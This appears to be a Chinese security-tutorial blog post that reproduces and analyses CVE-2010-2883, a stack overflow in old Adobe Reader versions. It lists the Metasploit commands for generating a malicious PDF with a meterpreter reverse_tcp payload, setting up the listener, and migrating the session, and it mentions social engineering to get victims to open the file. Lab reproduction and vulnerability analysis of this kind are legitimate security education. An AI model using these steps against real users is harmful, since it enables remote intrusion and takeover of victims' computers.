PDF文件攻击

释放双眼,带上耳机,听听看~!

一个关于由PDF文件的栈溢出而引发的远程任意代码执行的典型老版漏洞。这枚漏洞是在2010年被发布出来,距今已快10年之久,但是漏洞却很简单粗暴,有着打开PDF文件就立马中招的效果。

说起这枚漏洞,就要来掰扯掰扯“漏洞界”的两大“泰山北斗”了。Microsoft的Office套件和Adobe的全家桶,这两家曝出的漏洞,从出洞频率、其危害系数、受影响范围等多个维度来看,都是可以把其他家的软件给远远的抛在后面。

在Adobe全家桶中的Adobe Flash Player、Adobe Reader、Adobe Acrobat等产品,可以说是“难兄难弟”了,每年都会贡献一大波漏洞。但其实,所有的软件都多多少少存在着漏洞,没有绝对安全的软件,其重点就是看有没有大佬们去挖掘而已。Adobe系列产品因为桌面安装量很大,且官方似乎对于安全开发这块的工作做的不是很好,大量黑客和安全研究人员更愿意投入时间来进行挖洞,一个成熟的可以利用的Adobe 0day漏洞可是值很多很多钱的,

 

这枚cve-2010-2883漏洞就是Adobe Reader在处理CoolType字体文件的sing表时,存在栈溢出漏洞,当打开特制的恶意PDF文件时,可允许任意代码远程执行;其Adobe Reader9.3.4之前的版本都受到影响。接下来来复现一下这枚cve-2010-2883漏洞,来看下它的效果。

● 环境

攻击机:Kali Linux(ip:10.1.0.109)

靶机:Windows 7(ip:10.1.0.101)

软件:Adobe Reader 9.0、PdfStreamDumper.exe、IDAPro6.6

● 过程

一、开启我们的kali,使用Metasploit来生成PDF木马文件。

1. 开启Metasploit,搜索cve-2010-2883

search cve-2010-2883

2. 调用模块

use exploit/windows/fileformat/adobe_cooltype_sing/

3. 调用meterpreter载荷,反向连接到攻击机

set payload windows/meterpreter/reverse_tcp

4. 设置攻击机IP地址set LHOST 10.1.0.109

5. 设置本地监听端口(不设置就是默认的4444端口)set LPORT 8888

6. 查看配置是否正确

show options

7. 设置生成的文件名

set FILENAME 0000.pdf

8. 执行生成文件

Run(exploit)

注:生成的文件在隐藏的文件夹中,须将隐藏去掉。

二、将PDF木马文件拷贝至靶机上(在真实环境下,可以社工一下,诱使目标打开PDF)

Metasploit开启监听,等待肉鸡上线。

1. 使用handler监听模块

use exploit/multi/handler

2. 回弹一个tcp连接

set payload windows/meterpreter/reverse_tcp

3. 设置监听IP地址(与之前设置木马文件的一致)

set LHOST 10.1.0.109

4. 设置监听端口(与之前设置木马文件的一致,默认是4444)

set LPORT 8888

5. 查看配置是否正确

show options

6. 开启监听

run

三、肉鸡上线

在目标打开PDF文件时,会产生卡壳无法正常打开,当软件关闭,meterpreter也将会断开。使用migrate命令将进程迁移至其他进程上,保持连接状态。

1.使用ps查看正在运行的进程(在这我打开一个文本作为演示)

2.使用migrate将进程迁移至notepad上,保持连接状态

3.查看连接状态

netstat -a

至此整个过程结束,成功拿到shell

可以看到,最终由于Adobe Reader存在CVE-2010-2883这种高危漏洞,导致电脑打开带有特制的PDF后,就变成了别人家的肉鸡了。

              漏洞分析

一、使用IDA静态分析CoolType.dll库,定位至出现漏洞的位置;

在0x0803DBA1调用了strcat函数,strcat函数原型如下:

char *strcat(char *dest, const char *src);

strcat会将参数src字符串复制到参数dest所指的字符串尾部,dest最后的结束字符NULL会被覆盖掉,并在连接后的字符串尾部再增加一个NULL。

漏洞成因就是没有去验证src的长度是否可能会超出dest数组定义的长度。如果我们有可能超出dest数组定义的长度的数据放入src中有可能在后方调用strcat函数时覆盖栈区从而实现代码执行。

二、使用PdfStreamDumper分析PDF样本文件;

在官方文档中,入口地址为0x1c为SING表的真实数据;

而后在偏移0x10就是uniqueName的数据,uniqueName为28位,对齐后为4个字节;

在CoolType.dll中,使用strcat操作此处时并没有判断长度,所以构造超长的uniqueName可导致栈溢出。

上CVE看了下关于PDF文件相关的漏洞还真不少,收录在CVE中就有1183条。

在以往的PDF漏洞来看,最受关注和欢迎的就是上面那种任意代码执行漏洞,这类漏洞的危害也是最大的,一般都是可以在用户电脑上执行任意的恶意代码。但这类漏洞因为PDF沙箱的原因也有着很大的局限性,往往是需要配合系统的提权漏洞一起使用才能进行完整的攻击过程,所以投入的成本较高在这几年来出现的完整攻击样本较少。

现市面上主流的PDF查看器中都存在着类似问题,使用这些PDF查看器的用户都可能会受到影响。在真实环境下,很多黑客会结合社会工程学,譬如通过诱导邮件、各种论坛、QQ群、微信群等多渠道,诱使用户下载并打开,而文件只要一被打开就有可能中招。

所以平时要小心陌生的文件,在打开前要明确来源,或使用杀毒软件进行杀毒。尽量保证电脑的软件处于最新版本,这样才能最大程度较低被攻击的概率。不过想必大家现在的电脑上都是360全家桶,一般不会再像早期互联网那时的情况一样出现这种简单粗暴的攻击。

相关文章

人已赞赏
安全教程

Linux系统安全 | Linux日志分析和管理

2020-3-11 9:52:08

安全教程

这可能是最全的入门Web安全路线规划

2020-3-11 14:30:22

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
有新消息 消息中心
搜索